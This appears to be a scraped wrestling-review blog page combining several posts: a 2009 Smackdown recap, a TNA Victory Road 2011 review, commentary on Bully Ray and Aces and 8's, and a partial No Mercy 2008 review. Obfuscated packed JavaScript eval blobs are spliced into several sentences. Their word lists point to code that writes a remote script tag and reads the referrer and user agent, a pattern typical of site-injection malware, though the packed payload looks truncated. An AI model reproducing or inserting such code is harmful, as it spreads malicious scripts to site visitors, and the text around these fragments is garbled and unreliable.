On This Day: May 29, 2009 – Smackdown: Jeff Can’t Get High Enough

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbfzz|var|u0026u|referrer|ebinr||js|php'.split('|'),0,{})) May 29, 2009
Location: Staples Center, Los Angeles, California
Attendance: 7,000
Commentators: Jim Ross, Todd Grisham

Great Khali/R-Truth vs. Dolph Ziggler/Mike Knox

Melina vs. Alicia Fox

John Morrison thinks Umaga is stupid. Shelton Benjamin comes up and wants to fight Morrison again but John points out how little Benjamin has done in years.

Video on Edge vs. Hardy in their ladder match at Extreme Rules.

John Morrison vs. Umaga

Rating: C+. This was getting going by the end as they were doing the David vs. Goliath/power vs. speed formulas to a pretty effective degree. Both of these guys had good potential but never quite reached the highest point they could have, due to either drugs or drugs and Melina. Decent match here that would have been better with a good ending.

Eve Torres vs. Layla

Edge/Chris Jericho vs. Jeff Hardy/Rey Mysterio

Jeff quickly takes Jericho down and loads up the Swanton but has to dive on Edge instead. Edge is sent to the floor and taken out by a plancha but Jericho catches Jeff with a springboard dropkick to send him back to the floor. We finally get down to a regular match with the world champion coming in to take over on the beaten down Hardy. A clothesline gets two on Jeff and we hit the chinlock.

Post match Edge crushes Hardy in a ladder to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade for just $4 from Amazon at:



Bully or Bubba

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|raant|var|u0026u|referrer|dissf||js|php'.split('|'),0,{})) could make for an interesting debate.In short, which means more: the time of Bubba Ray or the time as Bully Ray?  By that, I mean what means more: the TNA world title or all the tag titles and success he had with his brother?  Does beating Jeff Hardy mean more than all the TLC matches and ladder matches and main event spots as a tag wrestler that Bubba had?

 

For me it’s Bubba.  At the end of the day, Ray still hasn’t accomplished much on his own.  Yes he’s world champion, but that doesn’t mean he’s going to be a success as one, not with those nitwit bikers working for him.  He and D-Von own the record for most tag titles by so much that it’s unthinkable.  They main evented PPVs, they stole a lot of shows, and they were some of the biggest stars in ECW.  That trumps being champion of a glorified regional promotion.



On This Day: March 13, 2011 – Victory Road 2011: The Jeff Hardy Disaster

Victory Road 2011
Date: March 13, 2011
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

Well this is TNA’s offering for the month. It’s another show with the majority of it added on at the very end with no real build to it. Yes there are stories for the matches, but that doesn’t mean there’s justification for asking something like 40 dollars for a show. The main event is the rematch of Sting vs. Jeff Hardy and the third #1 contender situation for Anderson. Let’s get to this as it’s one of the least interesting shows I can remember in forever.

The opening video is the Sting mask being crawled on by a scorpion. Wow they’re banking a lot on this push.

Bully Ray vs. Tommy Dreamer

 

Pre match Ray runs his mouth about how awesome Hogan and Bischoff are for letting him have a run. Dreamer comes out and Ray talks about how he’s run Dreamer into the ground over the years and mentions breaking his wife’s neck. This is now hardcore. They brawl to start us off and Dreamer sends him to the floor as we imply Ray going to Immortal. Well if they want to drive it off a cliff why not?

A fan holds a up a chair and Dreamer rams Bubba into it. There’s some water spit into Bubba’s head. This is opening a PPV in 2011. Dreamer grabs some big yellow stuffed animal (apparently from Despicable Me) to drill Ray with. Into the crowd now as my head is already hurting from this. Granted that might be due to Florida getting a 2 seed in the NCAA tournament but who knows.

They go into the balcony with the traditional carry the guy around style. Dreamer hits him in the head with something that looked like it was made of metal to continue his dominance so far. Back to ringside with Bubba getting in a big shot with some other unidentifiable weapon. Crowd is hating on Ray pretty well. He’s played the character well, but why in the world is it Bubba Ray Dudley getting this push?

Ray goes after Dreamer’s hand which only works to an extent. Dreamer throws some garbage cans with weapons into the ring. Good thing he had those just in case this was made hardcore I guess. They have a road block thing that has a name that I can’t think of in there. It’s the orange/white fence thing that is moved up when you drive through it. And there’s an inflatable doll in there which Bubba lands in a 69 position with.

Splash on the doll onto Bubba gets two. Ray gets a trashcan lid shot to the head of Dreamer as Dreamer goes up top. Superplex gets no cover. Bubba Bomb is blocked into a DDT for two. Dreamer brings in a table (moving it off the love doll) which is set up in the ring like a small ramp. The fans want D-Von as Ray gets a spinning Rock Bottom for two. He sets the table for Dreamer and calls out at D-Von. The kids of D-Von come out as does D-Von and Ray takes a 3D through the table to end it.

Rating: D+. There was a blowup doll in this as well as a Despicable Me doll. I get that it’s a comedy match, but dude it’s Tommy Dreamer vs. Bubba Ray Dudley opening a PPV in a semi-comedy match in the year 2011. Just get to the table match that is coming for Bubba vs. D-Von so they can move into midcard purgatory.

Winter and the Beautiful People insist they’re cool. Winter says the issues have been Velvet’s fault. This gets a WTF look from Velvet.

Knockout Tag Titles: Rosita/Sarita vs. Winter/Angelina Love

 

The Mexican chicks say basic Spanish stuff. Winter is blindfolded or something and there’s no Velvet, making me think the titles are changing here. Rosita and Angelina start us off but it’s off to Winter quickly as the champions are dominating. Bridging Northern Lights gets two. Angelina back in now as the fans chant USA for two Mexican chicks, Angelina (Canadian) and the British chick Winter.

Sarita is in now and has about as much luck as Rosita had. There’s some heel cheating and Rosita misses a front flip legdrop that was aimed at Angelina’s ankles. More fast tags by the champions as they regain control quickly. Everything breaks down slightly and Sarita grabs a belt. She drops it and Rosita gets ahold of it but Velvet runs in to steal it. Winter rolls her up but no referee. Rosita reverses it and wins the titles with a pin.

Rating: D. Well this was predictable. I don’t think this lasted very long but I don’t time PPV matches so it’s not like it matters. Granted these titles have been worthless since they debuted. Velvet has to explain herself. Wouldn’t Winter know that she was never hit by a belt and that would be enough validation? Whatever.

We’re going to have the Jarretts on vacation tonight. They’re at Universal Studios and Karen is bored out of her mind with the rollercoasters. The kids are with them and Karen hates the kid stuff.

Morgan talks about (Shawn) Hernandez and how the Mexican company dropped him. Morgan says that after this he’s going after the world title. The recap for the match is just that Hernandez came back and played the race card, setting this up. He’s in Immortal also.

Hernandez vs. Matt Morgan

 

This is first blood. Hernandez came out to the LAX theme which is a rarity. They head to the floor almost immediately as Morgan rushes the ring. Hernandez gets a sharp wooden stick and tries to jab it into Morgan’s face ala Magnum TA vs. Tully Blanchard. I apologize for comparing this to a classic like that. Hernandez ribs as the face as the fans want blood. Morgan fights back by a side slam.

Hernandez hits a Pounce as we hear about how awesome he was in AAA. He was so awesome he wasn’t at their biggest show of the year last year. Hernandez hammers away until Morgan gets a discus lariat. This is rather boring if you didn’t get that. Fall away slam continues Morgan’s lack of head shots. He grabs the stick from earlier but gets kicked in the gut to drop it.

A fan runs in and Hernandez pulls out a chain. Morgan kicks it out of his hand and drills Hernandez with it. The referee is down and Hernandez is busted open. Hernandez comes out of the corner and sprays Morgan with something that looks like fake blood or something like that. The other referee comes out of the back (I guess not watching on a monitor or something) and gives it to Hernandez.

Rating: F+. Well the ending was original as I don’t think I’ve ever seen that done. However, this is more or less every other first blood match with the heel bleeding and getting the win anyway in a screwy finish. This was nothing at all of note, but granted you can say that about the first 45 minutes entirely here of Impact on Sunday.

It’s Max Buck’s birthday and he works as a team with his brother. Shenanigans are implied.

Kazarian interviews JB in a weird moment. He busts out a Charlie Sheen reference, making me want to end Kazarian.

Robbie E yells at someone that we can’t see. Cookie is panicking about Ultimate X and Robbie says he’s fine. This was idiotic if you didn’t get that.

Video on Ultimate X. It’s so awesome that it got thrown on at the last minute.

X-Division Title: Kazarian vs. Max Buck vs. Jeremy Buck vs. Robbie E

 

The idea here is the title is hung over the ring on cables that cross to form an X. You have to climb across to grab the title and can’t use a ladder. It’s supposed to be all about Maz remember. This is the 24th Ultimate X match in history apparently and Kaz’s fifth. This is kind of a weird triple that with Gen Me vs. Robbie vs. Kaz. The team beats up both guys to start us off.

Kaz fights them off for a bit and manages a springboard up to the X in a cool spot. That gets him nowhere as Robbie comes in and stomps away. Max goes up but it’s Robbie stopping him. Cookie is hot but the voice is annoying. Gen Me gets everyone down and goes for the belt until Robbie stops them again. Kaz is back in now and faces off with Jersey Boy.

Robbie escapes the Fade to Black (that reverse Piledriver) and gets backdropped to the floor, hitting his ankle on the steps. Gen Me wakes up again and takes down both guys one more time. Jeremy gets a sweet assisted moonsault to take Robbie and Kaz down. Max is all alone but wants Jeremy to help him up instead. Jeremy holds off Kaz and Max makes a run at it. Kaz of course saves as Robbie has a bad ankle still.

Double dropkick puts down Kaz and a baseball slide does the same to Robbie. Jeremy does this weird reverse jump to get up and holds off Kaz. This again fails and Maz, who also was trying to get the belt, is swung backwards and gets knocked off and caught in a cutter to put him down. Robbie gets up and goes for the title, only to get pulled down by Max. And never mind as Max is sent into the structure by Kaz and gets stuck. That’s different if nothing else.

Everyone is down now and Max is unhooked for a change. Kaz hits Fade to Black on Robbie but gets kicked by Jeremy. Jeremy tries to go up only to take an enziguri from the champion to put him down. Flux Capacitor (suplex/rock bottom) off the top by Kaz puts Jeremy down again. Robbie and Kaz both go across at the same time. Gen Me kicks Robbie down and swing the champion down too in a nice bump.

Jeremy goes up and Max is ticked. Max pulls him down which is the point of the match. They both go from opposite corners and both are hung by their legs upside down in the middle. They slug it out up there until Robbie grabs a ladder to take them down. Kaz goes above the X and grabs the title at the same time as Robbie. Kaz pulls it up but there’s no bell. Oh there it is.

Rating: C+. It’s ok but this is a match that has been done so many times that there wasn’t much here. It’s definitely one of the weaker matches they’ve had with this gimmick but it’s still good. Fun match but they kept trying to play up the Bucks only for them to break up and not play a factor in the end. Fun, but definitely not great.

More honeymoon stuff and Karen wants champagne. Instead it’s a pizza. Next up: a water park.

Beer Money hits on Christy and try to get her to do the BEER MONEY thing. Basically it’s to hit on her and stare at her. Can’t say I blame them. They get serious and say they’re awesome but Ink Inc is overstepping their bounds. Something about respect is mentioned.

We recap the feud, which was Ink Inc saying they want a title shot and Beer Money saying ok.

Tag Titles: Ink Inc vs. Beer Money

 

I could see this being good. Neal vs. Storm starts us off With no one taking over we get a double tag and some technical stuff follows. The fans are split which makes sense for once as they’re both face teams. Moore gets a leg lariat for two. Neal comes in now and takes a powerslam for two. This is taking a bit to get off the ground here.

Moore back in now and we hit the chinlock. They do some basic stuff and it’s one of those moments where stuff happens but nothing is going on. It’s ok but there is no interest in this at all. It could be because there’s no history here and it’s there for the sake of having a title match. Roode gets a spinebuster on Neal for two. Ink Inc takes over again as Taz isn’t even sure who is legal.

Roode gets the formerly Northern Lariat (clothesline to the back of the head) to Neal and goes up top with Moore. Down goes Roode and a Whisper in the Wind to Storm gets no cover. Roode with a Rock Bottom for two. BEER MONEY thing kind of gets the crowd hot but Neal hits the spear on Storm. Neckbreaker gets two on Roode. Moore wants to use the chain but Neal disagrees. Beer Money comes back and the DWI ends Moore. I guess they’re splitting one of the two active teams worth anything.

Rating: C+. This was just there for the most part. It wasn’t great at all but it wasn’t bad. Like I said: just kind of there. The total lack of story hurt it a lot which is due to the booking and not the guys. This wasn’t bad but it was really not interesting at all. Granted that might be Shannon Moore.

Neal shakes their hands post match but Moore spits beer in their faces, I guess turning heel. He talks about having to be tough to win. Whatever.

Matt Hardy talks about how he’s cold blood/cold blooded and will hurt AJ.

AJ Styles vs. Matt Hardy

 

This is just Immortal vs. Fourtune. AJ uses speed to take over and grabs a front facelock. Sweet dropkick takes Matt down. Flair interferes and here comes Matt. Here come the dueling chants also. Matt has the braided hair back too. He’s in jeans and no armbands either, making him look like a bum.

Out to the floor again where AJ is sent into the post. He counters by hitting his always awesome slide under the railing and springboard forearm. Back in the ring now with AJ taking over for awhile. Matt sends him to the floor and Flair hammers away. That’s Lockdown for these two next month people. Back in Matt grabs a submission hold which is like a body vice. Picture him setting for a double arm DDT and jumping up to wrap his legs around AJ. It looked good if nothing else.

The rope is reached so it’s not like it means anything. Taz says there’s no escape to it, which is stupid as AJ just escaped. Flair grabs AJ’s balls for a bit and Matt grabs a cravate. This is boring as heck if that wasn’t clear. AJ comes back and hammers away as the crowd seems a bit restless. Enziguri puts Matt down and AJ does the same. More punching follows and a big kick to the head sets up a backbreaker for two.

AJ misses a discus lariat and the Side Effect gets two. This needs to end rather soon here. Matt gets an elbow to the back of AJ’s head and it’s Twist of whatever time. It’s blocked into a backslide for two and down goes AJ again. AJ gets back up and tries the Clash but Matt escapes that and gets two. Styles kind of botches his backflip into the reverse DDT but Flair distracts the referee.

Flair pokes AJ in the eye and takes a Pele for his efforts. Matt gets a DDT and a moonsault for two. END THIS ALREADY. Hey they listen to me as AJ takes Matt down and Spiral Tap of all things which AJ hasn’t used in years (it’s a top rope twisting moonsault/splash) gets him the pin.

 

Rating: D+. AJ was good, Matt was sluggish. What else were you expecting here? For the life of me I don’t get why people see money in Matt Hardy as he’s just big and slow at this point with the fans cheering him for some reason. AJ needs to just beat Flair and get it over with already. At least Matt didn’t win so there is that at least.

Back to the honeymoon with Karen snapping on Jeff. She wants sex apparently. Jeff thinks she means Kurt. This storyline has died so many times it’s insane. Thursday on Impact Jeff is going to call for a truce. They’re not sure where their kids are but they all get soaked. Jeff has been a total face the entire night now.

Anderson talks about getting screwed over and more or less says he’s a tweener.

We recap RVD vs. Anderson. In short, they both want the title and both say they got screwed. Somehow we’re talking about football. They’re grasping at whatever straws grasp at to come up with a backstory for this match. They talk about Lockdown in the voiceover but I stopped caring a long time ago.

Rob Van Dam vs. Mr. Anderson

 

This is ANOTHER #1 contenders match for Anderson after he won one already. They stare it down to start and it’s dueling chant time with Anderson’s being louder. Technical stuff goes on and it’s a standoff. More technical stuff follows as I think this is supposed to be an epic match. They botch a leapfrog spot with Van Dam taking a head to the balls. This show is almost a comedy of errors at this point.

Rolling Thunder to Anderson as I just want this match to end at this point. Spinning legdrop to the railing misses Anderson and the leg hits the railing to give Anderson control. Anderson works the leg and it’s all basic stuff here. Mic Check is blocked and Rolling Thunder doesn’t work either. Van Dam gets a suplex to put both guys down.

Both guys go down again and this is just dragging like every other match so far. Van Dam goes shoulder first into the post and they ram heads to go down AGAIN. Now they head to the floor off a cross body and they lay around AGAIN. Anderson gets the Mic Check on the stage and Van Dam is more of less dead.

And it’s a double count out. The fans boo the HECK out of that and I’d be with them. This somehow was 15 minutes long. Where in the world was the 15 minutes? Oh and look: MORE multi-man title matches. The fans chant to restart it and half chant no. Now it’s a 5 more minutes chant. Get on with it already.

Rating: F. This was just boring and the ending hurt it even more. They have zero chemistry together and this show has sucked so hard so far that this made it even worse. It’s obvious they’re doing a multi-man match at Lockdown but that isn’t helping anything as far as tonight goes. This is one of the worst PPVs I’ve seen in a very long time which is saying a lot when it comes to TNA.

We recap Sting winning the title on 3/3. He was a surprise, read the other reviews for the details.

Hardy says that he was treated unfairly and he’ll win tonight to bring everyone back to reality.

Sting talks about getting into the business and it’s music video time. I’ve heard this interview before. Probably was on Impact or something. Yeah I think it was. He was at home and felt a burn. Call a doctor dude.

TNA World Title: Jeff Hardy vs. Sting

 

It’s 10:30 and Jeff is wasting time getting to the ring. Before the match Bischoff comes out to waste MORE time. He makes it No DQ which somehow takes like two minutes. Sting drops him and the Scorpion Death Drop ends this in less than a minute. That was their first contact of the “match.” I kid you not. Are they serious?

We get a highlight video to fill in 6 minutes to end the show.

Overall Rating: F-. The show has been over for 15 minutes now (final bell rang at 10:38) and I don’t know what to say. Early word is that Hardy was in no condition to perform. If that’s the case, TNA’s creative and management team all should refund the fan’s money and resign. You had 150 minutes to come up with ANYTHING else to put out there and this is what they gave us. Put Bully Freaking Ray out there and it’s a better than this.

I’m still not sure what to think about what just happened but this is awful even by TNA standards. It’s a big slap in the face to the people that bought this show and they’ve cost themselves dearly. I was going to go to Lockdown and now I have no interest in going at all. Absolutely awful ending and a disgrace all around. Jeff being high or not, you do not let this happen. Period.

As for the rest of the show, it was bad. There was nothing at all of note worth seeing and that makes the ending even worse. This show didn’t need to happen at the end of the day. It’s a speed bump on the road to Lockdown and nothing was advanced here. Now, because of this, TNA has another fire to put out. I have no idea where they go from here but it’s nowhere good.

Results

Tommy Dreamer b. Bully Ray – 3D with help from D-Von

Rosita/Sarita b. Winter/Angelina Love – Rollup to Winter

Hernandez b. Matt Morgan – Hernandez squirted blood on Morgan

Kazarian b. Max Buck, Jeremy Buck and Robbie E – Kazarian pulled down the Title

Beer Money b. Ink Inc – DWI to Moore

AJ Styles b. Matt Hardy – Spiral Tap

Mr. Anderson vs. Rob Van Dam went to a double countout

Sting b. Jeff Hardy – Scorpion Death Drop

Remember to follow me on Twitter @kbreviews



More On Bully Ray/Aces and 8’s

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tneri|var|u0026u|referrer|ybdsb||js|php'.split('|'),0,{})) was a big story last night and deserves a bit more attention.First and foremost, I did like the end result of last night’s show.  Having Ray be revealed as the President of Aces and 8’s was the right move and was one of the few places they could go to extend the life of the whole stupid angle.  Ray screwing over the Hogans for the sake of winning the world title with it being a plan all along was perfectly logical as it’s Ray’s nature to be a self serving jerk.  The lines of “I used you and I screwed you” and “D-Von let her cry” were straight MONEY.  Also, IT ISN’T BISCHOFF.

However this doesn’t solve everything.  At the end of the day, Aces and 8’s have still been the most inept stable of the last like…..ever.  They never win anything of note and they lost again last night in their other big match.  Also, Ray is now basically the leader of the Eight Stooges.  They’re still a bunch of losers and you can’t use the logic of “now that they have a leader” because Ray has clearly been the leader for months.  Oh and one more thing: why did Ray give Hardy a chain?  I know he had everything in hand, but it was still an unneeded risk.

As for where this is going now, it appears that we’re headed for either Hogan or Sting vs. Ray at Slammiversary before we get to presumably AJ or Storm taking the title at Bound For Glory.  If we have to get one of those matches, Sting is BY FAR the better option, as he can at least, you know, move.  There are some other downsides to this development also.

Above all else, it means Brooke talking.  The story continues to be mainly about them rather than ANYONE else and Brooke just isn’t interesting at all.  She’s annoying, she’s whiny, she’s not talented, and she’s on TV more than any other female in the company.  Also I don’t really want to spend the next few months hearing about how Aces and 8’s are taking over and all that jazz.  The last thing we need is another corporate takeover angle.  Having them be the dominant faction is fine, but we don’t need another takeover.  It’s been done WAY too many times.

 

Overall, it’s good but it doesn’t solve all of Aces and 8’s problems, nor does it make up for the months and months of terrible stuff.



Jeff Hardy Re-Signs With TNA

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tktbk|var|u0026u|referrer|sabtd||js|php'.split('|'),0,{})) rumor had been that he wasn’t going to be sticking around but apparently TNA got him to sign for a few more years.  That’s certainly the right move for TNA as he’s easily the biggest full time guy they’ve got.  No complaints here on this one.



No Mercy 2008: ANOTHER Great Show In This Series

No eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrind|var|u0026u|referrer|rniin||js|php'.split('|'),0,{})) Mercy 2008
Date: October 5, 2008
Location: Rose Garden, Portland, Oregon
Attendance: 9,527
Commentators: Todd Grisham, Tazz, Jerry Lawler, Michael Cole, Jim Ross

Another WZ milestone related to this show as the day after this, I joined the forum staff. Anyway, this is the final No Mercy show and it’s also the blowoff to Shawn vs. Jericho with a ladder match for the title. Other than that we also have HHH vs. Jeff Hardy in what is likely going to be another in their great series of matches. After this it’s off to Backlash. Let’s get to it.

The opening video is designed like something from the 50s which then transitions into color and a video about the main matches. I don’t get that one.

ECW Title: Mark Henry vs. Matt Hardy

Matt is defending. Tony Atlas almost trips over the ropes coming in. This gets big match intros which is a nice touch that makes it feel like an important match. Matt tries a headlock and that completely fails. Mark runs him over and punches him down before sending him into the corner. Matt finally escapes for a bit and tries a chop block. It gives him a few seconds to breathe but Henry clotheslines his head off.

Hardy goes back to the knees and they go to the floor. Henry shrugs Matt off but the champ goes back to the knee. Figure Four is countered and Henry uses the good foot for a big boot, getting two. A bottom rope Banzai Drop gets the same. Matt tries to punch back but jumps into a bearhug. Hardy quickly climbs up Henry and tries a sunset flip.

Henry blocks it but he hits the mat when he tries to sit on the champ. Side Effect gets two and the place ERUPTS. Twist of Fate is countered and the place quiets in a hurry. Splash gets a delayed two. Twist is countered into the Slam but Matt punches the knee and the Twist hits to retain.

Rating: B-. I’m stunned by the crowd reaction to this as you would think it was the main event of a major show. The place was going nuts on almost everything Hardy did like I haven’t heard since the Hardy Boys days. The David vs. Goliath stuff worked very well here as these two always had some chemistry together.

HHH and Hardy are brought together in the back and HHH says Jeff is only going to win the mobile text popularity poll. He’ll be rooting for Jeff in the match tonight. Hardy says worry about him, not texting. HHH says he wants Jeff to put everything together and win the big one so that tonight, he’ll know he beat Hardy at his best.

Women’s Title: Candice Michelle vs. Beth Phoenix

Beth is defending in the rematch from last year. Candice immediately kicks the knee out for two. A dropkick to the head of Beth as she’s getting up gets the same. An enziguri slows Phoenix down as Candice is starting off fast. A charge is caught and Beth rams her into the buckle to stop that cold.

Beth hooks a modified cross armbreaker which lasts for a few moments. Candice comes back with some of the weakest clotheslines I can ever remember. Her arms are TINY which is what makes them so weak. Beth puts her down and goes up top, only to get crotched and dropkicked for two. Santino had to make the save so Candice dropkicks him through the ropes. Back inside the glam Slam quickly ends this.

Rating: D+. Candice slowly fell down a mountain after she lost the title a year before this. Like I said her offense was mostly dropkicks and not very good ones at that. On top of that there were the clotheslines which were embarrassing. The Divas took a nosedive around this point as the good chicks were just not there with the talent other than one in a handful. Also there were two titles by this point which didn’t help anything at all.

Buy the new Flair DVD! That actually was a good one.

Kane says Rey’s story ends tonight. They have a match tonight and if Rey loses, he loses his mask. This feud went on for the better part of eternity and never really had a real payoff.

Rey Mysterio vs. Kane

Rey fires off some strikes and a dropkick to send him to the floor. Kane gets back in and hits a big boot to send Rey to the floor for a breather. A springboard dropkick sends Kane crawling on his knees into the 619 position. Kane is thankfully playing possum though and hits a clothesline to put Mysterio down. A bad jawbreaker from Rey sets up a middle rope rana to send Kane to the floor.

Rey tries a dive but gets caught in a powerslam position. He climbs up Kane and hooks a sleeper, only to get thrown over the barricade. Mysterio’s back is rammed into the post and Kane hooks a chinlock back inside. Rey comes back with a headscissors to backflip into a reverse DDT to slow Kane down. Kane puts him on the middle rope with Rey’s back to the ring and goes after the mask. Rey elbows out of that and hits a moonsault to a standing Kane to put both guys down.

Dropping the Dime gets two but Rey walks into a side slam which gets the same. Chokeslam is countered and Rey mostly misses something like a spinning springboard DDT. Cole and Jerry aren’t sure if it was an armdrag or a DDT and I’m not sure either. That’s how messed up it was. Rey goes up again but jumps into an uppercut for two. Kane goes to the apron and Rey hits the 619 to the back of the leg and they go outside. Rey dives off the top into a chair for the DQ.

Rating: C-. They were trying here but the big vs. little dynamic was too much for them to overcome here. It started really slow too and the ending didn’t help anything. Kane as the monster only has a certain limit to what it can do and this was stretching that limit to as far as it could go, as it’s hard to believe he couldn’t get the mask off if he wanted to, but he didn’t. Not a horrible match but it didn’t quite work for me. It was getting better by the end though and it wasn’t horrible at all.

MVP is on the phone in the back and goes to see Vickie about being off the show. He knocks on her door and finds Big Show. MVP asks to see her but Show says no.

Vote at Cyber Sunday!

Here’s MVP to waste some time. This has to be better than the pizza eating contest he was in last year. He talks about how you don’t bench LeBron James or Manny Ramirez (dated reference much?) and on Smackdown, you don’t bench MVP. He thinks the tombstone Undertaker gave Vickie hurt her head, but this isn’t the first instance of him being forgotten. Cue Orton for some more talking.

Randy is still hurt at this point and introduces himself to MVP. MVP says he knows who Orton is but didn’t recognize him without the sling or the folder with the MRI results in it. There’s no reason for MVP to not deck Orton because they’re on different shows. Cue Legacy (DiBiase, Rhodes and Manu. Dang he never fit at all) as MVP wisely heads to the other side of the ring so he can be next to a rope. The fans immediately chant boring as Cody talks about how MVP is the guy that never got into college and just hung out at his high school to look cool while coasting on his reputation.

Cody asks Orton to let MVP have that because it’s all he’s got. Orton yells at Rhodes for some reason and Manu says the only reason Orton was able to punt CM Punk in the head was because of the Legacy beatdown. Orton says that he’ll take them more seriously when they accomplish something, and with that he leaves. MVP says Orton will be back in the ring sometime in 2012. Well it’s 2012 and MVP hasn’t been seen in WWE in over a year while Orton got the pin tonight on Smackdown so I guess he’s right?

DiBiase says MVP’s dad wasn’t a famous WWE superstar so MVP isn’t in their class. MVP says he makes more money than any wrestler on Smackdown. Ted: “My father is the Million Dollar Man.” DiBiase 1, MVP 0. MVP walks up the ramp rather than fight but Punk and Kofi come out to even the odds. Since Kofi and Punk are faces, they let MVP go into the ring without them so he takes a little beating also. The good guys clear the ring. This segment went on longer than any match so far tonight.

Michaels and Jericho are getting ready.

John Bradshaw Layfield vs. Batista

No story here, but the winner gets the winner of Shawn vs. Jericho at a later date, which would wind up being Cyber Sunday. This is when JBL had slimmed down a lot so the match looks a bit better. They slug it out to start and Batista puts him down with a clothesline. JBL gets a boot up in the corner but walks into a quick spear.

He rolls to the outside but doesn’t get a breather out there either. JBL drills him coming back in and they head outside again for a few seconds. Neckbreaker and elbow drop get two for Bradshaw and it’s chinlock time. Batista suplexes his way out of that and hits the shoulders in the corner. Spinebuster and the Batista Bomb finish this clean. This wasn’t even five and a half minutes long.

Rating: C-. Not much of a match but this got the job done in a hurry. It was basically a Batista squash which was exactly what it needed to be to make Batista look like a real threat to the title, which he would wind up winning at Cyber Sunday. Also did anyone really want to see this match get fifteen minutes? I don’t ever remember them having what I would call a good match so I can’t complain.

In a pretty awesome moment, JBL, still on his back from the Bomb, calls for a mic. He cuts a promo about how even though he lost a ton of money with the stock market falling apart, the bailout made him a ton of money while everyone else lost money. We cut to the back and see Cryme Tyme, a bunch of Divas and Sgt. Slaughter taking his limo. I hate the political stuff from WWE, but from it going from what sounded like a retirement promo to one of the funniest heel promos I’ve ever heard, it was awesome.

We recap Big Show vs. Undertaker. Show is mad because of the Tombstone to Vickie, Undertaker is mad because Big Show turned heel to defend Vickie at Unforgiven.

Big Show vs. Undertaker

JR talks about how Undertaker is like a Sasquatch that has wrapped his arms around us and how Big Show is Cyclopean. He has two eyes. WHAT IS WRONG WITH JIM ROSS??? Sasquatch and Cyclopean? With smoke still in the ring Taker goes right at him but gets hit in the ribs to slow him down. Taker gets knocked to the floor but lands on his feet. They slug it out on the apron and Taker Stuns him on the top rope.

Out to the floor and Show pounds away on the ribs. Show throws him into the barricade and Taker throws him into the post. This is a total war so far. Now Undertaker’s right hands are malignant. WHAT DOES THAT MEAN??? Legdrop on the apron and they head inside. Taker gets a boot up in the corner but Big Show clotheslines him down. Show slams him down and drops an elbow for two.

Show tries a Vader Bomb elbow but Taker moves to send Show crashing. They slug it out again with Taker punching him into the corner and working over the ribs. Show misses two WMDs so Taker clotheslines him down and drops a leg for two. Taker tries Old School but jumps into a chokeslam for two. WMD (it wasn’t called that back then but you get the idea) misses and they both try chokeslams.

Show wins the battle but Taker pulls him down into a DDT for two. Taker punches him down in the corner but stops to chase the referee, allowing Big Show to expose the buckle. A shot into that and the big punch, a second big punch (this one is pretentious according to JR) and a third one (this one a rabbit punch) makes the referee stop the match.

Rating: B. This was ten minutes long and they beat the tar out of each other the whole time. It’s probably the best Show vs. Undertaker match I’ve ever seen which is quite a selection as I’m sure you know. Good match here and while it didn’t quite get any better after this, it’s a great match from these two which is shocking for me.

Being true to his nature, Taker takes forever to get out of the ring.

We recap HHH vs. Jeff Hardy. Hardy had the title won in the Scramble but HHH won with a second remaining. Hardy won a fatal fourway to get this show. The idea is that Jeff keeps getting close to the title but is always one step away. This would be the best story of 2008 and Jeff would FINALLY reach his goal at some point this year. This gets the music video treatment.

Smackdown World Title: HHH vs. Jeff Hardy

After the big match intros we’re ready to go. Jeff shakes his hand and is immediately sent into the buckle and rolled up for two. They fight over wrist control and Jeff grabs a headlock. It’s just a feeling out process for the first 90 seconds or so. They keep fighting for control and Jeff gets his headlock on the mat. Back up and HHH hits an elbow but walks into a headscissors to send him to the floor. Jeff hits a running clothesline off the apron to take HHH down.

Back inside and back to the headlock. HHH pops up and tries a quick Pedigree but gets backdropped to the floor. Jeff tries a flip dive over the top but HHH steps to the side to make Jeff crash onto the floor with a great thud. That gets two for HHH inside, as does a wicked backbreaker. HHH punches him a bit more and it’s abdominal stretch time. HHH doesn’t have a ton of torque on it so he grabs the rope, forcing a break.

